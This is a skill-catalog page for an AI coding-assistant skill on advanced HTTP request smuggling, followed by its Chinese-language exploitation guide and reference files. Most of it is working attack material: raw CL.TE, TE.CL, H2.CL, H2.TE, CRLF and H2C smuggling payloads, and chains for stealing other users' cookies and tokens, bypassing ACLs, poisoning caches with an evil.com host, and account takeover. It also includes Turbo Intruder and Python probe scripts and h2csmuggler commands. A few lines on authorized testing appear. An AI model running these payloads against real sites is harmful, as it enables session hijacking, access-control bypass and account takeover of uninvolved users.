
Http Smuggling Advanced
- 11 installs
- 1.6k repo stars
- Updated July 19, 2026
- wgpsec/aboutsecurity
Helps with ai & agent building tasks during AI-assisted development.
About
http-smuggling-advanced is a Claude Code skill for ai & agent building. It helps solo builders move faster with AI-assisted coding.
- http-smuggling-advanced
- AI & Agent Building
- AI-coding skill
Http Smuggling Advanced by the numbers
- 11 all-time installs (skills.sh)
- Ranked #11,740 of 16,546 AI & Agent Building skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/wgpsec/aboutsecurity --skill http-smuggling-advancedAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 11 |
|---|---|
| repo stars | ★ 1.6k |
| Last updated | July 19, 2026 |
| Repository | wgpsec/aboutsecurity ↗ |
What it does
Helps with ai & agent building tasks during AI-assisted development.
Files
HTTP 请求走私高级利用
前置: 基础走私检测见 /skill:cache-poisoning-smuggling。本 skill 专注于确认漏洞后的链式利用⛔ 深入参考
- 各类走私变体检测 payload → references/smuggling-detection.md
- H2C/H2 降级走私技术 → references/h2-smuggling.md
---
Phase 0: 走私类型速查
前端(FE) 用什么解析请求长度?后端(BE) 用什么?
CL.TE: FE 用 Content-Length → BE 用 Transfer-Encoding
TE.CL: FE 用 Transfer-Encoding → BE 用 Content-Length
TE.TE: 两者都用 TE,但对畸形 TE 头处理不一致
H2.CL: FE 用 HTTP/2 帧长度 → BE 降级到 HTTP/1.1 用 CL
H2.TE: FE 用 HTTP/2 → BE 降级后用 TE
⛔ 确认走私存在后才进入本 skill 的利用阶段Phase 1: CL.TE 走私利用
1.1 窃取其他用户请求
POST / HTTP/1.1
Host: target.com
Content-Length: 130
Transfer-Encoding: chunked
0
POST /log HTTP/1.1
Host: target.com
Content-Length: 500
Content-Type: application/x-www-form-urlencoded
stolen=原理: 后端将 POST /log ... stolen= 当作下一个请求的前缀 → 下一个用户的完整请求被拼接到 stolen= 后面 → 你可以读取他们的 Cookie/Token
1.2 绕过前端 ACL
POST / HTTP/1.1
Host: target.com
Content-Length: 73
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: target.com
X-Forwarded-For: 127.0.0.1
原理: 前端只检查第一个请求(POST /)→ 放行。被走私的 GET /admin 直接到达后端 → 绕过前端的 IP/路径限制。
1.3 投毒 Web 缓存
POST / HTTP/1.1
Host: target.com
Content-Length: 120
Transfer-Encoding: chunked
0
GET /static/main.js HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com
原理: 走私的 GET 请求 + 恶意 Host 头 → 后端返回包含 evil.com 的响应 → 前端缓存此响应 → 其他用户访问 /static/main.js 获取到被投毒的内容。
1.4 反射 XSS 升级为存储 XSS
POST / HTTP/1.1
Host: target.com
Content-Length: 150
Transfer-Encoding: chunked
0
GET /search?q=<script>alert(document.cookie)</script> HTTP/1.1
Host: target.com
X-Random: x原理: 如果 /search 有反射 XSS → 走私请求让下一个用户的响应变成包含 XSS payload 的搜索结果页 → 反射变存储。
Phase 2: TE.CL 走私利用
POST / HTTP/1.1
Host: target.com
Content-Length: 4
Transfer-Encoding: chunked
78
POST /admin HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
关键: 前端根据 TE 正确读取全部 chunked 数据。后端根据 CL=4 只读 78\r\n,剩余的 POST /admin ... 被当作独立新请求。
Phase 3: HTTP/2 降级走私 (H2.CL / H2.TE)
3.1 H2.CL 走私
HTTP/2 请求(前端):
:method: POST
:path: /
:authority: target.com
content-length: 0
走私的 HTTP/1.1(后端看到的):
POST / HTTP/1.1\r\n
Host: target.com\r\n
Content-Length: 0\r\n
\r\n
GET /admin HTTP/1.1\r\n
Host: target.com\r\n
\r\n原理: HTTP/2 用帧长度,不需要 CL。但降级到 HTTP/1.1 时,错误的 CL 值使后端将多余数据当作新请求。
3.2 H2 Request Tunneling
利用 HTTP/2 HEADERS 帧的特殊头:
:method: POST
:path: /
:authority: target.com
transfer-encoding: chunked
在 HTTP/2 中 TE 头通常被忽略,但降级后生效
→ 可构造 CL 与 TE 不一致的情况Phase 4: 自动化检测与利用
工具
# smuggler.py — 自动化检测
python3 smuggler.py -u https://target.com
# Burp Suite — HTTP Request Smuggler 扩展
# 安装扩展 → Scan → 报告走私类型
# h2csmuggler — HTTP/2 明文升级走私
python3 h2csmuggler.py -x https://target.com -t /admin
# 手动 curl 验证(CL.TE)
curl -i -X POST https://target.com/ \
-H "Content-Length: 6" \
-H "Transfer-Encoding: chunked" \
--data-binary $'0\r\n\r\nG'
# 如果第二次正常 GET 返回 "GGET / HTTP/1.1 ..." 405 → 存在走私验证走私成功的方法
方法 1: 时间差异
├─ 走私一个有延迟的请求 → 观察响应时间变化
方法 2: 差异响应
├─ 走私 GET /404path → 下一个正常请求返回 404
方法 3: 反射请求
├─ 走私请求到自己控制的日志服务器
├─ 观察是否收到其他用户的请求
方法 4: OAST(Out-of-band)
├─ 走私 Host: burp-collaborator.net
├─ 检查 Collaborator 收到的 DNS/HTTP 请求⛔ 风险控制
- 请求走私会影响其他用户 → 仅在授权测试中使用
- 测试时使用唯一标识符区分你的请求
- 先用时间差异法确认 → 再进行利用
- 避免大量走私请求导致服务不可用
关联技能
- 缓存投毒 & 请求走私基础 →
/skill:cache-poisoning-smuggling - XSS 方法论 →
/skill:xss-methodology - 401/403 绕过 →
/skill:401-403-bypass
HTTP/2 走私技术详解
HTTP/2 的二进制帧协议引入了新的走私攻击面,尤其是在 HTTP/2 → HTTP/1.1 降级代理场景下
---
一、HTTP/2 走私攻击面总览
HTTP/2 走私类型:
├─ H2.CL — HTTP/2 前端 → HTTP/1.1 后端,注入 Content-Length
├─ H2.TE — HTTP/2 前端 → HTTP/1.1 后端,注入 Transfer-Encoding
├─ H2.0 — HTTP/2 exclusive smuggling(纯 H2 内部走私)
├─ CRLF in pseudo-headers — 利用 HTTP/2 伪头注入换行符
└─ H2C smuggling — HTTP/2 明文升级滥用(绕过反向代理)---
二、H2.CL 攻击(HTTP/2 → HTTP/1.1 降级 + Content-Length 注入)
2.1 原理
HTTP/2 使用帧长度(DATA frame length)确定请求体大小,不需要 Content-Length 头。
但前端代理降级到 HTTP/1.1 时,会将 HTTP/2 的 headers 转换为 HTTP/1.1 头部。
如果前端不校验/不清理 HTTP/2 请求中手动设置的 content-length 头:
├─ 攻击者在 HTTP/2 请求中设置 content-length: 0
├─ 但实际 DATA 帧包含额外数据
├─ 前端按帧长度读取全部数据 → 转发到后端
├─ 后端按 Content-Length: 0 只读空体 → 剩余数据成为下一个请求前缀
└─ 走私成功2.2 攻击 Payload
HTTP/2 请求帧:
:method: POST
:path: /
:authority: target.com
content-length: 0
[DATA frame 内容]:
GET /admin HTTP/1.1\r\n
Host: target.com\r\n
\r\n后端(HTTP/1.1)看到:
POST / HTTP/1.1
Host: target.com
Content-Length: 0
GET /admin HTTP/1.1
Host: target.com
后端按 CL=0 处理第一个请求,GET /admin 被当作独立的第二个请求。
2.3 Burp Suite 手动构造
在 Burp Repeater 中:
1. 确保使用 HTTP/2(Inspector → Protocol → HTTP/2)
2. 手动添加 content-length: 0 头(Burp 允许在 HTTP/2 中设置)
3. 在请求体中写入走私的 HTTP/1.1 请求
4. 发送并观察响应
⛔ 关键点: 某些 CDN/代理会自动移除 HTTP/2 中的 content-length
→ 需要测试目标是否允许该头通过---
三、H2.TE 攻击
3.1 原理
HTTP/2 规范禁止使用 transfer-encoding 头(HTTP/2 用帧机制代替分块传输)。
但某些前端代理在降级时不会移除 transfer-encoding 头。
攻击路径:
├─ 攻击者在 HTTP/2 请求中注入 transfer-encoding: chunked
├─ 前端忽略该头(HTTP/2 不使用 TE)
├─ 降级后后端收到 HTTP/1.1 请求,带有 transfer-encoding: chunked
├─ 后端按 chunked 解析 → 与实际 Content-Length 不一致
└─ 走私窗口打开3.2 Payload 示例
HTTP/2 请求:
:method: POST
:path: /
:authority: target.com
content-length: 4
transfer-encoding: chunked
[DATA]:
0\r\n
\r\n
GET /admin HTTP/1.1\r\n
Host: target.com\r\n
\r\n---
四、HTTP/2 伪头 CRLF 注入
4.1 原理
HTTP/2 头部是二进制编码的 (HPACK),理论上不存在 CRLF 问题。
但降级到 HTTP/1.1 时,头部值被直接拼接到文本格式中。
如果前端不对 HTTP/2 头部值进行 CRLF 过滤:
├─ 在伪头(:path, :authority)或普通头中注入 \r\n
├─ 降级后变成 HTTP/1.1 中的头部注入
├─ 可以注入任意头部甚至完整的走私请求
└─ 攻击威力极大4.2 通过 :path 注入
HTTP/2 请求:
:method: GET
:path: / HTTP/1.1\r\nHost: target.com\r\n\r\nGET /admin HTTP/1.1\r\nHost: target.com\r\nX: x
:authority: target.com
降级后后端看到:
GET / HTTP/1.1
Host: target.com
GET /admin HTTP/1.1
Host: target.com
X: x HTTP/1.1
Host: target.com4.3 通过普通头注入
HTTP/2 请求:
:method: POST
:path: /
:authority: target.com
foo: bar\r\nTransfer-Encoding: chunked
降级后:
POST / HTTP/1.1
Host: target.com
Foo: bar
Transfer-Encoding: chunked4.4 Burp Suite 操作
Burp Repeater 中注入 CRLF:
1. 切换到 HTTP/2
2. 在 Inspector → Headers 中编辑头部值
3. 使用 \r\n 注入(Burp 允许在二进制模式下输入)
4. 或使用 Shift+Enter 在头部值中插入换行
⛔ 大多数现代代理已修复此问题,但仍有遗留系统存在---
五、H2.0 — HTTP/2 Exclusive Smuggling
5.1 原理
不涉及 HTTP/1.1 降级,纯粹在 HTTP/2 层面走私。
场景: 前端和后端都使用 HTTP/2,但帧解析实现不一致
攻击面:
├─ DATA frame padding abuse
│ HTTP/2 DATA 帧支持 padding,不同实现对 padding 长度计算方式不同
├─ CONTINUATION frame abuse
│ HEADERS 帧设置 END_HEADERS=0 后,后续 CONTINUATION 帧处理不一致
├─ Stream multiplexing abuse
│ 利用流优先级和依赖关系造成处理顺序差异
└─ PUSH_PROMISE 注入
如果代理转发 PUSH_PROMISE 帧 → 可注入任意推送内容5.2 CONTINUATION Flood / Abuse
#!/usr/bin/env python3
"""HTTP/2 CONTINUATION frame abuse 检测脚本"""
import h2.connection
import h2.config
import h2.events
import socket, ssl
def test_continuation_abuse(host, port=443):
ctx = ssl.create_default_context()
ctx.set_alpn_protocols(['h2'])
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
sock = socket.create_connection((host, port))
sock = ctx.wrap_socket(sock, server_hostname=host)
config = h2.config.H2Configuration(client_side=True)
conn = h2.connection.H2Connection(config=config)
conn.initiate_connection()
sock.sendall(conn.data_to_send())
# 发送不完整的 HEADERS(END_HEADERS=0)
# 然后发送多个 CONTINUATION 帧
# 观察服务器行为差异
sid = conn.get_next_available_stream_id()
headers = [
(':method', 'GET'),
(':path', '/'),
(':authority', host),
(':scheme', 'https'),
]
# 正常发送(用于对比)
conn.send_headers(sid, headers, end_stream=True)
sock.sendall(conn.data_to_send())
data = sock.recv(65535)
events = conn.receive_data(data)
for event in events:
if isinstance(event, h2.events.ResponseReceived):
print(f"[+] Response headers: {dict(event.headers)}")
sock.close()---
六、H2C Smuggling(HTTP/2 Cleartext 升级走私)
6.1 原理
H2C(HTTP/2 Cleartext)允许通过 HTTP/1.1 Upgrade 头升级到 HTTP/2:
客户端发送:
GET / HTTP/1.1
Host: target.com
Upgrade: h2c
HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA
Connection: Upgrade, HTTP2-Settings
如果反向代理(如 Nginx/HAProxy)不理解 h2c 升级:
├─ 代理将请求转发到后端(原封不动)
├─ 后端支持 h2c → 升级到 HTTP/2
├─ 后续通信直接走 HTTP/2 → 绕过代理的 HTTP/1.1 层面检查
├─ 代理看不到升级后的请求内容
└─ 可访问代理禁止的内部路径(/admin, /internal)6.2 h2csmuggler 工具
# 安装
pip3 install h2
git clone https://github.com/BishopFox/h2csmuggler.git
cd h2csmuggler
# 基本探测 — 检测目标是否支持 h2c 升级
python3 h2csmuggler.py -x https://target.com/ --test
# 通过 h2c 走私访问内部路径
python3 h2csmuggler.py -x https://target.com/ -t /admin
python3 h2csmuggler.py -x https://target.com/ -t /internal/api/users
python3 h2csmuggler.py -x https://target.com/ -t /server-status
# 指定方法和数据
python3 h2csmuggler.py -x https://target.com/ -t /admin/delete -m POST \
-d '{"user":"victim"}'
# 使用自定义头
python3 h2csmuggler.py -x https://target.com/ -t /admin \
-H "X-Forwarded-For: 127.0.0.1"
# 批量测试路径
python3 h2csmuggler.py -x https://target.com/ -w wordlist.txt6.3 常见可利用场景
H2C 走私典型绕过:
├─ 反向代理 ACL 绕过 → 访问 /admin, /internal, /metrics
├─ WAF 绕过 → h2c 流量不经过 WAF 的 HTTP/1.1 规则引擎
├─ 认证绕过 → 前端认证在 HTTP/1.1 层面,升级后的 H2 请求不经过认证
├─ SSRF → 通过代理访问内网服务
└─ 信息泄露 → 访问 /server-status, /debug, /env 等内部端点
⛔ 关键条件:
├─ 反向代理需转发 Upgrade: h2c 头(不拦截/不理解)
├─ 后端服务需支持 h2c 升级
└─ 常见脆弱代理: 部分 Nginx 配置、AWS ALB(旧版)、Envoy(特定配置)---
七、检测 HTTP/2 走私
7.1 Timing-based Detection
方法: 发送探测请求,测量响应时间差异
H2.CL 检测:
├─ 正常请求: 响应时间 T1
├─ 注入 CL=0 + 额外 DATA: 响应时间 T2
├─ 如果 T2 明显大于 T1 → 后端在等待下一个请求的数据到达
└─ 超时行为表明走私成功
H2C 检测:
├─ 发送 Upgrade: h2c 请求
├─ 响应 101 Switching Protocols → 后端支持 h2c
├─ 响应 200/400 但代理未拦截 Upgrade 头 → 可能存在走私
└─ 用 h2csmuggler --test 自动化7.2 Differential Response Detection
方法: 走私一个会改变下一个请求响应的请求
步骤:
1. 发送走私请求: 前缀包含 GET /404-unique-path
2. 立即发送正常 GET / 请求
3. 如果正常请求返回 404 → 走私成功(响应被污染)
⛔ 注意: 可能影响其他用户,仅在授权测试中使用7.3 Response Analysis
#!/usr/bin/env python3
"""HTTP/2 走私检测 — 差异响应分析"""
import h2.connection
import h2.config
import h2.events
import socket, ssl, time
def detect_h2cl(host, port=443):
"""检测 H2.CL 走私"""
ctx = ssl.create_default_context()
ctx.set_alpn_protocols(['h2'])
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
# Test 1: 正常请求基准时间
sock = socket.create_connection((host, port))
sock = ctx.wrap_socket(sock, server_hostname=host)
config = h2.config.H2Configuration(client_side=True)
conn = h2.connection.H2Connection(config=config)
conn.initiate_connection()
sock.sendall(conn.data_to_send())
sid = conn.get_next_available_stream_id()
conn.send_headers(sid, [
(':method', 'POST'), (':path', '/'),
(':authority', host), (':scheme', 'https'),
('content-length', '5'),
])
conn.send_data(sid, b'x=123', end_stream=True)
sock.sendall(conn.data_to_send())
t1 = time.time()
data = sock.recv(65535)
baseline = time.time() - t1
sock.close()
# Test 2: H2.CL 探测(CL=0 但发送数据)
sock2 = socket.create_connection((host, port))
sock2 = ctx.wrap_socket(sock2, server_hostname=host)
conn2 = h2.connection.H2Connection(config=config)
conn2.initiate_connection()
sock2.sendall(conn2.data_to_send())
sid2 = conn2.get_next_available_stream_id()
conn2.send_headers(sid2, [
(':method', 'POST'), (':path', '/'),
(':authority', host), (':scheme', 'https'),
('content-length', '0'),
])
# 发送额外数据 — 如果被走私,后端会等待下一个请求完成
smuggled = b'GET /detect-h2cl-12345 HTTP/1.1\r\nHost: ' + host.encode() + b'\r\n\r\n'
conn2.send_data(sid2, smuggled, end_stream=True)
sock2.sendall(conn2.data_to_send())
t2 = time.time()
sock2.settimeout(10)
try:
data2 = sock2.recv(65535)
probe_time = time.time() - t2
except socket.timeout:
probe_time = 10.0
sock2.close()
print(f"[*] Baseline: {baseline:.3f}s | Probe: {probe_time:.3f}s")
if probe_time > baseline * 3:
print("[!] H2.CL smuggling likely — significant timing difference")
else:
print("[-] No obvious H2.CL smuggling detected")---
八、工具速查
| 工具 | 用途 | 命令 |
|---|---|---|
| h2csmuggler | H2C 升级走私 | python3 h2csmuggler.py -x URL -t /admin |
| smuggler.py | 通用走私检测 | python3 smuggler.py -u URL |
| Burp HTTP Request Smuggler | 自动检测各类走私 | Burp Extension → Scan |
| Burp Repeater (HTTP/2) | 手动构造 H2 走私 | Inspector → 手动编辑头/Body |
| h2 (Python library) | 自定义 HTTP/2 帧操作 | pip3 install h2 |
| nghttp2 | HTTP/2 调试客户端 | nghttp -v https://target/ |
| curl --http2 | 快速 HTTP/2 测试 | curl --http2 -v https://target/ |
---
九、实际利用场景
9.1 CDN/WAF 绕过
场景: CDN 使用 HTTP/2 接收请求 → 降级到 HTTP/1.1 转发到源站
利用:
├─ H2.CL 走私 → 绕过 CDN 的 WAF 规则
│ CDN 检查第一个请求(正常 POST /)→ 放行
│ 走私的请求(GET /admin?cmd=...)直接到达源站
│
├─ H2C 走私 → 如果 CDN 转发 Upgrade 头
│ 升级后的流量绕过 CDN 的所有 L7 检查
│
└─ CRLF in :path → 注入额外头部绕过 CDN 缓存键
CDN 缓存被投毒 → 其他用户获取恶意响应9.2 内部路由操控
场景: 微服务架构中,API Gateway 使用 HTTP/2 → 后端服务 HTTP/1.1
利用:
├─ 走私请求到不同的后端服务
├─ 修改 Host 头 → 路由到内部服务
├─ 注入 X-Forwarded-For: 127.0.0.1 → 绕过 IP 限制
└─ 走私请求到 /metrics, /health, /debug 端点9.3 账户接管链
完整利用链:
1. 检测 H2.CL 走私存在
2. 走私请求窃取下一个用户的 Cookie/Token
→ 前缀注入: POST /log?stolen= → 下一个用户的请求拼接到参数
3. 使用窃取的 Token 登录受害者账户
4. 或走私 XSS payload → 下一个用户的响应包含恶意脚本---
十、检测规避与注意事项
⛔ HTTP/2 走私会影响其他用户:
├─ 走私的请求前缀会拼接到下一个任意用户的请求
├─ 可能导致其他用户的请求失败 (500 错误)
├─ 在生产环境测试时必须极度谨慎
├─ 使用唯一标识符追踪你的走私请求
└─ 先用 timing 法确认 → 再进行实际利用
防御检测信号:
├─ 后端日志中出现畸形 HTTP/1.1 请求
├─ 异常的 Content-Length 或 Transfer-Encoding 头
├─ HTTP/2 请求中包含 HTTP/1.1 不允许的头
└─ CDN/代理错误率突增---
参考链接
HTTP 请求走私检测方法论
从发现到确认到利用的完整检测流程。先确认走私类型,再选择利用方式
---
一、检测决策树
目标使用什么协议栈?
├─ HTTP/2 前端 + HTTP/1.1 后端 → 测试 H2.CL / H2.TE / CRLF
├─ HTTP/1.1 前端 + HTTP/1.1 后端 → 测试 CL.TE / TE.CL / TE.TE
└─ 纯 HTTP/2 端到端 → 测试 H2.0 / H2C
检测方法选择:
├─ Timing-based(时间差异)→ 最安全,不影响其他用户
├─ Differential Response(差异响应)→ 更可靠,轻微影响
├─ OAST(带外检测)→ 最可靠的确认方式
└─ 自动化工具 → 综合多种方法---
二、Timing-based Detection(时间差异法)
2.1 CL.TE 检测
POST / HTTP/1.1
Host: target.com
Content-Length: 4
Transfer-Encoding: chunked
1\r\n
A\r\n
X原理:
├─ 如果前端用 CL → 读 4 字节 ("1\r\nA") → 转发到后端
├─ 后端用 TE → 读 chunk "1\r\nA\r\n" → 期待下一个 chunk
├─ 后端等待更多数据 → 响应延迟(timeout)
└─ 如果响应延迟 5-10 秒以上 → CL.TE 确认
对照组:
├─ 正常请求响应时间: ~100ms
├─ 探测请求响应时间: ~5000ms+
└─ 差异 > 4 秒 → 高度疑似2.2 TE.CL 检测
POST / HTTP/1.1
Host: target.com
Content-Length: 6
Transfer-Encoding: chunked
0\r\n
\r\n
X原理:
├─ 如果前端用 TE → 读到 "0\r\n\r\n" 结束 → 转发
├─ 后端用 CL=6 → 读 "0\r\n\r\nX" → 还差 1 字节
├─ 后端等待剩余数据 → 响应延迟
└─ 延迟 → TE.CL 确认2.3 避免误报
Timing 法误报原因:
├─ 服务器本身响应慢(高负载)→ 多次测试取中位数
├─ 网络延迟波动 → 使用同一连接对比
├─ 后端超时设置 → 不同服务器超时时间不同
└─ WAF 拦截导致的延迟
排除方法:
├─ 发送正常请求作为基准,多次测量
├─ 确保延迟只在特定畸形请求时出现
├─ 交替发送正常/探测请求对比
└─ 使用不同的 CL/TE 组合排除单一原因---
三、Differential Response 差异响应法
3.1 CL.TE 确认
# Step 1: 走私一个会产生 404 的请求前缀
POST / HTTP/1.1
Host: target.com
Content-Length: 53
Transfer-Encoding: chunked
0
GET /hopefully-404-unique-path HTTP/1.1
Foo: x# Step 2: 立即发送正常请求
GET / HTTP/1.1
Host: target.com预期结果:
├─ 如果 CL.TE 走私成功:
│ 第二个正常 GET / 的响应变成 404(被走私前缀污染)
│ → 因为后端看到的是: GET /hopefully-404-unique-path HTTP/1.1\r\nFoo: xGET / HTTP/1.1\r\n...
│
├─ 如果不存在走私:
│ 第一个请求正常返回 200
│ 第二个请求也正常返回 200
│
└─ ⛔ 这会影响下一个请求 → 可能是其他用户的请求被污染
→ 仅在授权测试中使用3.2 TE.CL 确认
POST / HTTP/1.1
Host: target.com
Content-Length: 4
Transfer-Encoding: chunked
75
GET /hopefully-404-unique-path HTTP/1.1
Host: target.com
Content-Length: 15
x=1
0
后续正常请求如果返回 404 → TE.CL 确认。
3.3 使用唯一标识符追踪
⛔ 关键 OPSEC: 使用唯一路径名避免混淆
├─ GET /smuggle-test-a1b2c3d4 → 唯一 404 路径
├─ Host: unique-id.burpcollaborator.net → OAST 确认
└─ X-Custom: smuggle-verify-TOKEN → 日志追踪---
四、Turbo Intruder 自动化检测
4.1 CL.TE 自动检测脚本
# Turbo Intruder: detect-clte.py
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.THREADED)
# 探测请求 — 走私一个会导致 404 的前缀
probe = '''POST / HTTP/1.1\r
Host: {host}\r
Content-Length: 71\r
Transfer-Encoding: chunked\r
\r
0\r
\r
GET /smuggle-detect-{rand} HTTP/1.1\r
Host: {host}\r
X-Pad: x'''.format(host=target.baseInput.split('Host: ')[1].split('\r')[0],
rand='a1b2c3')
# 正常请求 — 检查是否被走私前缀污染
normal = '''GET / HTTP/1.1\r
Host: {host}\r
\r
'''.format(host=target.baseInput.split('Host: ')[1].split('\r')[0])
# 发送探测
engine.queue(probe)
import time
time.sleep(0.5)
# 发送正常请求检查
engine.queue(normal, gate='check')
engine.openGate('check')
def handleResponse(req, interesting):
if '404' in req.response:
table.add(req) # 正常请求返回 404 → 走私确认4.2 TE.CL 自动检测
# Turbo Intruder: detect-tecl.py
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.THREADED)
probe = '''POST / HTTP/1.1\r
Host: {host}\r
Content-Length: 4\r
Transfer-Encoding: chunked\r
\r
96\r
GET /smuggle-detect-te HTTP/1.1\r
Host: {host}\r
Content-Type: application/x-www-form-urlencoded\r
Content-Length: 15\r
\r
x=1\r
0\r
\r
'''.format(host=target.baseInput.split('Host: ')[1].split('\r')[0])
engine.queue(probe)
import time
time.sleep(0.5)
normal = '''GET / HTTP/1.1\r
Host: {host}\r
\r
'''.format(host=target.baseInput.split('Host: ')[1].split('\r')[0])
engine.queue(normal, gate='check')
engine.openGate('check')
def handleResponse(req, interesting):
if '404' in req.response:
table.add(req)---
五、Burp Suite HTTP Request Smuggler 扩展
5.1 安装与使用
安装:
1. Burp → Extender → BApp Store
2. 搜索 "HTTP Request Smuggler" → Install
3. 或手动从 GitHub 下载 .jar: portswigger/http-request-smuggler
使用:
1. 在 Proxy history 中选择目标请求
2. 右键 → Extensions → HTTP Request Smuggler → Smuggle Probe
3. 扩展自动测试多种走私变体:
├─ CL.TE
├─ TE.CL
├─ TE.TE (畸形 TE 头)
├─ H2.CL
├─ H2.TE
└─ CRLF in H2 headers
4. 结果出现在 Issues 面板中5.2 扫描结果解读
Issue 类型:
├─ "HTTP request smuggling, CL.TE" → 确认 CL.TE 走私
│ Severity: High
│ Confidence: Certain (基于差异响应) / Tentative (基于 timing)
│
├─ "H2C smuggling" → HTTP/2 明文升级走私
├─ "HTTP/2 request smuggling via CRLF injection" → CRLF 注入
└─ "Response queue poisoning" → 响应队列投毒
⛔ Tentative 结果需手动验证 → 可能是 timing 误报---
六、自动化检测脚本(Python Raw Socket)
6.1 CL.TE 检测器
#!/usr/bin/env python3
"""HTTP Request Smuggling Detector — CL.TE / TE.CL"""
import socket
import ssl
import time
import sys
class SmugglingDetector:
def __init__(self, host, port=443, use_ssl=True):
self.host = host
self.port = port
self.use_ssl = use_ssl
def _connect(self):
sock = socket.create_connection((self.host, self.port), timeout=15)
if self.use_ssl:
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
sock = ctx.wrap_socket(sock, server_hostname=self.host)
return sock
def _send_recv(self, payload, timeout=10):
sock = self._connect()
sock.settimeout(timeout)
start = time.time()
sock.sendall(payload.encode())
try:
response = sock.recv(65535).decode(errors='replace')
except socket.timeout:
response = None
elapsed = time.time() - start
sock.close()
return response, elapsed
def detect_clte_timing(self):
"""CL.TE timing detection"""
print("[*] Testing CL.TE (timing-based)...")
# Baseline
normal = (
f"POST / HTTP/1.1\r\n"
f"Host: {self.host}\r\n"
f"Content-Length: 5\r\n"
f"\r\n"
f"x=123"
)
_, baseline = self._send_recv(normal)
print(f" Baseline: {baseline:.2f}s")
# CL.TE probe: CL=4 覆盖到 "1\r\nA",后端按 TE 等待更多 chunk
probe = (
f"POST / HTTP/1.1\r\n"
f"Host: {self.host}\r\n"
f"Content-Length: 4\r\n"
f"Transfer-Encoding: chunked\r\n"
f"\r\n"
f"1\r\n"
f"A\r\n"
f"X"
)
_, probe_time = self._send_recv(probe)
print(f" Probe: {probe_time:.2f}s")
if probe_time > baseline + 4:
print("[!] CL.TE smuggling LIKELY DETECTED")
return True
else:
print("[-] CL.TE not detected")
return False
def detect_tecl_timing(self):
"""TE.CL timing detection"""
print("[*] Testing TE.CL (timing-based)...")
# Baseline
normal = (
f"POST / HTTP/1.1\r\n"
f"Host: {self.host}\r\n"
f"Content-Length: 5\r\n"
f"\r\n"
f"x=123"
)
_, baseline = self._send_recv(normal)
print(f" Baseline: {baseline:.2f}s")
# TE.CL probe: 前端按 TE 读完,后端按 CL=6 等待更多数据
probe = (
f"POST / HTTP/1.1\r\n"
f"Host: {self.host}\r\n"
f"Content-Length: 6\r\n"
f"Transfer-Encoding: chunked\r\n"
f"\r\n"
f"0\r\n"
f"\r\n"
f"X"
)
_, probe_time = self._send_recv(probe)
print(f" Probe: {probe_time:.2f}s")
if probe_time > baseline + 4:
print("[!] TE.CL smuggling LIKELY DETECTED")
return True
else:
print("[-] TE.CL not detected")
return False
def detect_tete(self):
"""TE.TE detection — 测试畸形 TE 头处理差异"""
print("[*] Testing TE.TE variants...")
te_variants = [
"Transfer-Encoding: xchunked",
"Transfer-Encoding : chunked",
"Transfer-Encoding: chunked\r\nTransfer-Encoding: x",
"Transfer-Encoding: x\r\nTransfer-Encoding: chunked",
"Transfer-encoding: chunked",
"Transfer-Encoding:\tchunked",
"Transfer-Encoding: chunked\r\n Transfer-Encoding: x",
]
for variant in te_variants:
probe = (
f"POST / HTTP/1.1\r\n"
f"Host: {self.host}\r\n"
f"Content-Length: 4\r\n"
f"{variant}\r\n"
f"\r\n"
f"1\r\n"
f"A\r\n"
f"X"
)
resp, elapsed = self._send_recv(probe)
status = "TIMEOUT" if resp is None else resp.split('\r\n')[0] if resp else "EMPTY"
flag = " ← ANOMALY" if elapsed > 5 else ""
print(f" [{elapsed:.1f}s] {variant.split(chr(13))[0]}: {status}{flag}")
def run_all(self):
print(f"=== HTTP Smuggling Detection: {self.host}:{self.port} ===\n")
self.detect_clte_timing()
print()
self.detect_tecl_timing()
print()
self.detect_tete()
if __name__ == '__main__':
host = sys.argv[1] if len(sys.argv) > 1 else 'target.com'
port = int(sys.argv[2]) if len(sys.argv) > 2 else 443
detector = SmugglingDetector(host, port)
detector.run_all()---
七、smuggler.py 工具
# 安装
git clone https://github.com/defparam/smuggler.git
cd smuggler
# 基本扫描
python3 smuggler.py -u https://target.com
# 指定方法
python3 smuggler.py -u https://target.com -m POST
# 静默模式(只显示发现)
python3 smuggler.py -u https://target.com -q
# 指定超时
python3 smuggler.py -u https://target.com -t 10
# 输出结果:
# [*] Testing CL.TE... VULNERABLE
# [*] Testing TE.CL... NOT VULNERABLE
# [*] Testing TE.TE... NOT VULNERABLE---
八、False Positive 排除方法
常见误报原因及排除:
├─ 1. 服务器自身延迟波动
│ 排除: 连续 5 次测试,3 次以上延迟才算确认
│
├─ 2. 前端直接拒绝畸形请求(400 Bad Request)
│ 排除: 400 响应 ≠ 走私,前端已正确处理
│
├─ 3. WAF 拦截导致延迟
│ 排除: WAF 通常返回特征响应(403 + WAF 页面),非超时
│
├─ 4. Keep-Alive 超时混淆
│ 排除: 对比 Connection: close 和 keep-alive 的行为差异
│
├─ 5. CDN 缓存干扰
│ 排除: 使用 Cache-Control: no-cache 或唯一 URL 参数
│
└─ 6. 后端多实例负载均衡
排除: 差异响应法需在短时间内两个请求到同一后端
→ 使用同一 TCP 连接(HTTP/1.1 keep-alive)---
九、从检测到利用的完整流程
Step 1: 协议识别
├─ curl -I https://target.com → 检查 HTTP 版本
├─ 检查响应头: Server, Via, X-Cache → 识别代理/CDN
└─ nmap -sV -p 80,443 target → 识别 Web 服务器
Step 2: Timing 探测(安全阶段)
├─ 发送 CL.TE timing probe → 记录延迟
├─ 发送 TE.CL timing probe → 记录延迟
├─ 发送 TE.TE variants → 记录异常
└─ 对比基准时间 → 筛选候选类型
Step 3: 差异响应确认(轻度影响)
├─ 走私 GET /404-unique-path 前缀
├─ 立即发送正常请求检查
├─ 404 响应 → 确认走私类型
└─ 重复 2-3 次排除偶发
Step 4: OAST 确认(可选,最可靠)
